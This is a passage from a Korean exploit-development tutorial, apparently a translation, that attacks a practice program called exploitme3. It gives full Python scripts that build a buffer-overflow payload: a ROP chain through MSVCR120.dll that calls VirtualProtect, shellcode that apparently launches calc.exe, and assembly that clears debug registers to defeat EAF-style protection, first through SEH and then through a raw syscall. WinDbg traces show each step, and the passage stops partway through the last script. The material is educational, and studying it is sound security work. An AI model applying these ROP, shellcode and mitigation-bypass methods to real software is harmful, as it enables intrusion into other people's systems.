      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\x33\xC0" +         # xor    eax,eax
            "\x0F\x23\xC0" +     # mov    dr0,eax
            "\x0F\x23\xC8" +     # mov    dr1,eax
            "\x0F\x23\xD0" +     # mov    dr2,eax
            "\x0F\x23\xD8" +     # mov    dr3,eax
            "\x0F\x23\xF0" +     # mov    dr6,eax
            "\x0F\x23\xF8"       # mov    dr7,eax
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'c:\deleteme\name.dat')
cs


exploitme3을 실행하면 영광스러운 충돌을 얻을 수 있습니다.

 

WinDbg로 프로그램을 열고 F5를 누릅니다. 실행은 single step exception 때문에 멈추게 됩니다. 이런 귀찮은 예외들을 무시하기 위해서는 WinDbg에게 first-chance single step exceptions 들을 무시하라고 알려주어야 합니다.


sxd sse


sse Single Step Exception의 약자입니다.

 

이후, F5를 다시 하면 다른 예외가 발생하고 우리의 코드를 확인할 수 있습니다.


0034d64a 0f23c0          mov     dr0,eax      <-------------- exception generated here

0034d64d 0f23c8          mov     dr1,eax

0034d650 0f23d0          mov     dr2,eax

0034d653 0f23d8          mov     dr3,eax

0034d656 0f23f0          mov     dr6,eax

0034d659 0f23f8          mov     dr7,eax


여기서 문제는 유저 모드 (ring 3)에서는 디버그 레지스터를 수정할 수 없다는 것입니다. 이것을 하기 위해서는 OS 에게 맡겨야 합니다.



디버그 레지스터들 초기화(2)


“mov dr0 privileged instruction” 을 구글링 하면 다음 페이지를 찾을 수 있습니다.

  • http://www.symantec.com/connect/articles/windows-anti-debug-reference


저기에는 디버그 레지스터들을 수정하는 방법에 대해 찾을 수 있습니다. 방법으로는 예외 핸들러를 만들고 0으로 나누기 같은 예외를 발생 시키는 것입니다. 예외가 발생되면 윈도우즈는 예외 핸들러를 호출하고 CONTEXT 데이터 구조를 가리키는 포인터를 인자로 넘깁니다. CONTEXT 데이터 구조는 예외가 발생되었을 때의 레지스터 값들을 가지고 있습니다. 핸들러는 CONTEXT 데이터 구조에 있는 값을 변경할 수 있고, 핸들러가 끝나면 윈도우즈는 현재 레지스터들로 변경 할 것입니다. 이 방법을 이용하여 디버그 레지스터를 수정할 수 있습니다.

 

위 페이지에서 찾은 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;generate exception
pop fs:[0]
add esp, 4
;continue execution
;...
handler:
mov ecx, [esp+0Ch] ;skip div
add dword ptr [ecx+0B8h], 2 ;skip div
mov dword ptr [ecx+04h], 0 ;clean dr0
mov dword ptr [ecx+08h], 0 ;clean dr1
mov dword ptr [ecx+0Ch], 0 ;clean dr2
mov dword ptr [ecx+10h], 0 ;clean dr3
mov dword ptr [ecx+14h], 0 ;clean dr6
mov dword ptr [ecx+18h], 0 ;clean dr7
xor eax, eax
ret
cs


C/C++ 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <Windows.h>
#include <winnt.h>
#include <stdio.h>
 
int main() {
    CONTEXT context;
    printf("sizeof(context) = 0x%x\n"sizeof(context));
    printf("contextFlags offset = 0x%x\n", (int)&context.ContextFlags - (int)&context);
    printf("CONTEXT_DEBUG_REGISTERS = 0x%x\n", CONTEXT_DEBUG_REGISTERS);
    printf("EIP offset = 0x%x\n", (int)&context.Eip - (int)&context);
    printf("Dr0 offset = 0x%x\n", (int)&context.Dr0 - (int)&context);
    printf("Dr1 offset = 0x%x\n", (int)&context.Dr1 - (int)&context);
    printf("Dr2 offset = 0x%x\n", (int)&context.Dr2 - (int)&context);
    printf("Dr3 offset = 0x%x\n", (int)&context.Dr3 - (int)&context);
    printf("Dr6 offset = 0x%x\n", (int)&context.Dr6 - (int)&context);
    printf("Dr7 offset = 0x%x\n", (int)&context.Dr7 - (int)&context);
 
    _asm {
        // Attach handler to the exception handler chain.
        call    here
    here:
        add     dword ptr [esp], 0x22       // [esp] = handler
        push    dword ptr fs:[0]
        mov     fs:[0], esp
 
        // Generate the exception.
        xor     eax, eax
        div     eax
 
        // Restore the exception handler chain.
        pop     dword ptr fs:[0]
        add     esp, 4
        jmp     skip
 
    handler:
        mov     ecx, [esp + 0Ch]; skip div
        add     dword ptr [ecx + 0B8h], 2               // skip the "div eax" instruction
        xor     eax, eax
        mov     dword ptr [ecx + 04h], eax              // clean dr0
        mov     dword ptr [ecx + 08h], 0x11223344       // just for debugging!
        mov     dword ptr [ecx + 0Ch], eax              // clean dr2
        mov     dword ptr [ecx + 10h], eax              // clean dr3
        mov     dword ptr [ecx + 14h], eax              // clean dr6
        mov     dword ptr [ecx + 18h], eax              // clean dr7
        ret
    skip:
    }
 
    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &context);
    if (context.Dr1 == 0x11223344)
        printf("Everything OK!\n");
    else
        printf("Something's wrong :(\n");
 
    return 0;
}
cs


처음 부분은 EIP 의 오프셋을 출력과 디버그 레지스터들을 출력하여 어셈 코드의 오프셋이 정확한지 검증할 수 있습니다. 디버깅 용도로 dr1 0x11223344를 넣었습니다. 마지막으로 GetThreadContext를 이용하여 우리의 방법이 동작할수 있도록 합니다.

 

그러나 이 방법은 SAFESEH 때문에 정상적으로 동작하지 못합니다Visual Studio에서는 다음과 같은 경고 메시지를 보여줍니다.


1>c:\users\kiuhnm\documents\visual studio 2013\projects\tmp\tmp\tmp1.cpp(24): warning C4733: Inline asm assigning to 'FS:0' : handler not registered as safe handler


SAFESEH 를 비활성화 하려면 다음과 같이 설정합니다.

  • Configuration Properties
    • Linker
      • Advanced
        • Image Has Safe Exception Handler: No (/SAFESEH:NO)

그러면 프로그램이 정상적으로 동작함을 알 수 있습니다.

 

위 코드를 쉘코드에 넣으면 SAFESEH에 대한 문제가 발생하지 않습니다. 그 이유는 코드가 exploitme3의 이미지 내부에 있지 않고 스택에 있기 때문입니다.

 

name.dat을 생성하는 파이썬 스크립트는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import struct
 
# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>
 
msvcr120 = 0x73c60000
 
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
 
 
def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xE8\x00\x00\x00\x00" +            # call here (013E1008h)
        #here:
            "\x83\x04\x24\x22" +                # add dword ptr [esp],22h  ; [esp] = handler
            "\x64\xFF\x35\x00\x00\x00\x00" +    # push dword ptr fs:[0]
            "\x64\x89\x25\x00\x00\x00\x00" +    # mov dword ptr fs:[0],esp
            "\x33\xC0" +                        # xor eax,eax
            "\xF7\xF0" +                        # div eax,eax
            "\x64\x8F\x05\x00\x00\x00\x00" +    # pop dword ptr fs:[0]
            "\x83\xC4\x04" +                    # add esp,4
            "\xEB\x1A" +                        # jmp here+3Dh (013E1045h)  ; jmp skip
        #handler:
            "\x8B\x4C\x24\x0C" +                # mov ecx,dword ptr [esp+0Ch]
            "\x83\x81\xB8\x00\x00\x00\x02" +    # add dword ptr [ecx+0B8h],2
            "\x33\xC0" +                        # xor eax,eax
            "\x89\x41\x04" +                    # mov dword ptr [ecx+4],eax
            "\x89\x41\x08" +                    # mov dword ptr [ecx+8],eax
            "\x89\x41\x0C" +                    # mov dword ptr [ecx+0Ch],eax
            "\x89\x41\x10" +                    # mov dword ptr [ecx+10h],eax
            "\x89\x41\x14" +                    # mov dword ptr [ecx+14h],eax
            "\x89\x41\x18" +                    # mov dword ptr [ecx+18h],eax
            "\xC3"                              # ret
        #skip:
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'c:\deleteme\name.dat')
cs


이후, exploitme3을 실행하면 충돌이 발생 합니다. 뭔가 잘못한 것일까요?

 

WinDbg로 프로그램을 디버깅 해도록 하겠습니다. WinDbg에서 exploitme3.exe를 열고 F5를 누릅니다. 그러면 single step exception 와 유사한 내용을 얻게 되는데 위와 동일한 방법으로 sxd sse를 하고 F5로 다시 합니다. 그러면 우리가 기대했듯이, Integer devide-by-zero exception 을 얻게 됩니다.


(610.a58): Integer divide-by-zero - code c0000094 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607

eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

0015d869 f7f0            div     eax,eax


이는 first chance exception 이기 때문에 F5를 다시 누르면 이 예외는 프로그램에 전달되게 됩니다. 그 전에 예외 chain을 보도록 하겠습니다.


0:000> !exchain

0015d844: 0015d877

0015ff50: exploitme3!_except_handler4+0 (00381739)

  CRT scope  0, filter: exploitme3!__tmainCRTStartup+115 (003812ca)

                func:   exploitme3!__tmainCRTStartup+129 (003812de)

0015ff9c: ntdll!_except_handler4+0 (76f071f5)

  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (76f074d0)

                func:   ntdll!__RtlUserThreadStart+63 (76f090eb)


모든것이 정상적으로 보입니다.

 

F5를 누르면 다음 내용을 얻을 수 있습니다.


(610.a58): Integer divide-by-zero - code c0000094 (!!! second chance !!!)

eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607

eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

0015d869 f7f0            div     eax,eax


왜 프로그램이 예외를 처리를 하지 못하는 것일까요? 범인은 SafeSEH 였습니다.

 

제가 SafeSEH 모듈에 없는 핸들러는 충분하지 않다는걸 깜빡하고 있었습니다. 이는 스택도 포함됩니다!



디버그 레지스터들 초기화(3)


SafeSEH는 우회 할수도 있지만 하드코드된 주소를 사용할수 없으면 힘들고 결국 우리의 목적을 달성하지 못하게 됩니다.

 

저는 만약에 moreStack 배열을 이용하여 스택에 더이상 할당할 공간이 없을 때, 우리의 쉘코드가 예외 chain을 덮어 쓸수 있고 SEHOP가 우리의 익스플로잇을 멈추게 하는것을 추가하고 싶었습니다. SEHOP은 예외 chain의 마지막이 ntdll!_except_handler4임을 체크하는데 우리는 해당 핸들러의 주소를 모르면 예외 chain을 복원할수가 없습니다. 따라서 이 방법은 불가능합니다.

 

디버그 레지스터를 초기화 하는 다른 방법으로는 kernel32!SetThreadContext를 이용하는 것입니다. 우리는 이런 함수의 주소를 모르긴 하지만 아직 포기할수는 없습니다. 알다시피 SetThreadContext는 유저모드에서 디버그 레지스터를 초기화 할 수 없었기 때문에 어떤 방법으로 ring 0 서비스에 접근해야 합니다.

 

Ring 0 서비스들은 대게 인터럽트나 SYSENTER (Intel), SYSCALL(AMD) 같은 특정 CPU 명령에 의해 호출됩니다. 운좋게도 이런 서비스들은 보통 OS 에서 하드코드된 작은 상수들로 이루어져 있고 재부팅되거나 서비스팩 등이 갱신되어도 변하질 않습니다.

 

C/C++ 코드로 한 번 살펴보도록 하죠.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <Windows.h>
#include <stdio.h>
 
int main() {
    CONTEXT context;
    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    context.Dr0 = 0;
    context.Dr1 = 0;
    context.Dr2 = 0;
    context.Dr3 = 0;
    context.Dr6 = 0;
    context.Dr7 = 0;
 
    if (!SetThreadContext(GetCurrentThread(), &context))
        printf("Error!\n");
    else
        printf("OK!\n");
 
    return 0;
}
cs


WinDbg로 위의 프로그램을 디버깅 합니다. kernel32!SetThreadContext breakpoint를 걸고 F5를 누릅니다. SetThreadContext는 굉장히 짧습니다.


kernel32!SetThreadContext:

764358d3 8bff            mov     edi,edi

764358d5 55              push    ebp

764358d6 8bec            mov     ebp,esp

764358d8 ff750c          push    dword ptr [ebp+0Ch]      <--------- 002df954 = &context

764358db ff7508          push    dword ptr [ebp+8]        <--------- 0xfffffffe = GetCurrentThread()

764358de ff15f8013b76    call    dword ptr [kernel32!_imp__NtSetContextThread (763b01f8)]

764358e4 85c0            test    eax,eax

764358e6 7d0a            jge     kernel32!SetThreadContext+0x1f (764358f2)

764358e8 50              push    eax

764358e9 e846bdf7ff      call    kernel32!BaseSetLastNTError (763b1634)

764358ee 33c0            xor     eax,eax

764358f0 eb03            jmp     kernel32!SetThreadContext+0x22 (764358f5)

764358f2 33c0            xor     eax,eax

764358f4 40              inc     eax

764358f5 5d              pop     ebp

764358f6 c20800          ret     8


보시면 첫 번째 호출에서 두 개의 인자를 넘깁니다. 호출의 안쪽으로 들어 가보죠.


ntdll!ZwSetBootOptions:

76eb1908 b84f010000      mov     eax,14Fh

76eb190d 33c9            xor     ecx,ecx

76eb190f 8d542404        lea     edx,[esp+4]

76eb1913 64ff15c0000000  call    dword ptr fs:[0C0h]

76eb191a 83c404          add     esp,4

76eb191d c20800          ret     8

ntdll!ZwSetContextThread:         <------------------------ we are here!

76eb1920 b850010000      mov     eax,150h

76eb1925 33c9            xor     ecx,ecx

76eb1927 8d542404        lea     edx,[esp+4]

76eb192b 64ff15c0000000  call    dword ptr fs:[0C0h]

76eb1932 83c404          add     esp,4

76eb1935 c20800          ret     8

ntdll!NtSetDebugFilterState:

76eb1938 b851010000      mov     eax,151h

76eb193d b90a000000      mov     ecx,0Ah

76eb1942 8d542404        lea     edx,[esp+4]

76eb1946 64ff15c0000000  call    dword ptr fs:[0C0h]

76eb194d 83c404          add     esp,4

76eb1950 c20c00          ret     0Ch

76eb1953 90              nop


굉장히 흥미롭군요! 이게 뭘까요? 위아래로 각기 다른 EAX를 갖는 유사한 함수들을 볼 수 있습니다. 아마 EAX는 서비스 번호 입니다. ret 명령의 값은 넘겨진 인자의 수에 따라 결정됩니다.

 

edx는 스택에 있는 2개의 인자를 가리키고 있습니다.


0:000> dd edx L2

002df93c  fffffffe 002df954


호출의 내부로 들어 가보죠.


747e2320 ea1e277e743300  jmp     0033:747E271E


상당히 흥미로운 far 점프 입니다. 해당 명령을 진행하면 call 명령 바로 다음에 위치하게 됩니다.


ntdll!ZwQueryInformationProcess:

  76eafad8 b816000000      mov     eax,16h

  76eafadd 33c9            xor     ecx,ecx

  76eafadf 8d542404        lea     edx,[esp+4]

  76eafae3 64ff15c0000000  call    dword ptr fs:[0C0h]

  76eafaea 83c404          add     esp,4      <--------------------- we are here!

  76eafaed c21400          ret     14h


왜 이런일이 발생하고 far 점프는 무슨 목적일까요? 64비트 코드로 변환할 때 사용되는 걸까요? WinDbg 64비트 버전에서 이 과정을 반복한 뒤, 해당 점프는 여기로 오게 됩니다.


wow64cpu!CpupReturnFromSimulatedCode:

00000000`747e271e 67448b0424      mov     r8d,dword ptr [esp] ds:00000000`0037f994=76eb1932

00000000`747e2723 458985bc000000  mov     dword ptr [r13+0BCh],r8d

00000000`747e272a 4189a5c8000000  mov     dword ptr [r13+0C8h],esp

00000000`747e2731 498ba42480140000 mov     rsp,qword ptr [r12+1480h]

00000000`747e2739 4983a4248014000000 and   qword ptr [r12+1480h],0

00000000`747e2742 448bda          mov     r11d,edx


우리가 맞았습니다. 호출을 따라 계속 진행하다 보면


00000000`747e276e 8bc8            mov     ecx,eax

00000000`747e2770 ff150ae9ffff    call    qword ptr [wow64cpu!_imp_Wow64SystemServiceEx (00000000`747e1080)]


ecx 150 이며 우리 서비스 번호 입니다. 더이상 깊게 들어갈 필요는 없을 것 같네요. 어쨋든, 결국 우리는 아래 코드에 다다르게 됩니다.


ntdll!NtSetInformationThread:

00000000`76d01380 4c8bd1          mov     r10,rcx

00000000`76d01383 b80a000000      mov     eax,0Ah

00000000`76d01388 0f05            syscall

00000000`76d0138a c3              ret


Ring 0 서비스를 호출하기 위해 2가지를 작업을 수행합니다.

1. 32 비트 ring 3 코드에서 64 비트 ring 3 코드 로 이동

2. 64 비트 ring 3 코드에서 64 비트 ring 0 코드 로 이동


전부 다뤄야 할 필요는 없고 이것만 알면 됩니다.

1. EAX 0x150로 설정

2. ECX를 초기화

3. EDX가 우리의 인자를 가리키도록 함

4. fs:[0xc0]가 가리키는 곳을 호출


보시다시피, 이 코드는 ASLR에 영향이 없습니다.

 

최종적으로 디버그 레지스터를 초기화 할 수 있습니다.


mov     eax, 150h

xor     ecx, ecx

sub     esp, 2cch                       ; makes space for CONTEXT

mov     dword ptr [esp], 10010h         ; CONTEXT_DEBUG_REGISTERS

mov     dword ptr [esp + 4], ecx        ; context.Dr0 = 0

mov     dword ptr [esp + 8], ecx        ; context.Dr1 = 0

mov     dword ptr [esp + 0ch], ecx      ; context.Dr2 = 0

mov     dword ptr [esp + 10h], ecx      ; context.Dr3 = 0

mov     dword ptr [esp + 14h], ecx      ; context.Dr6 = 0

mov     dword ptr [esp + 18h], ecx      ; context.Dr7 = 0

push    esp

push    0fffffffeh                      ; current thread

mov     edx, esp

call    dword ptr fs : [0C0h]           ; this also decrements ESP by 4

add     esp, 4 + 2cch + 8


코드 마지막에 ESP를 복원하는데 이는 꼭 필요한건 아닙니다.

 

최종 파이썬 스크립트는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import struct
 
# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>
 
msvcr120 = 0x73c60000
 
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
 
 
def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
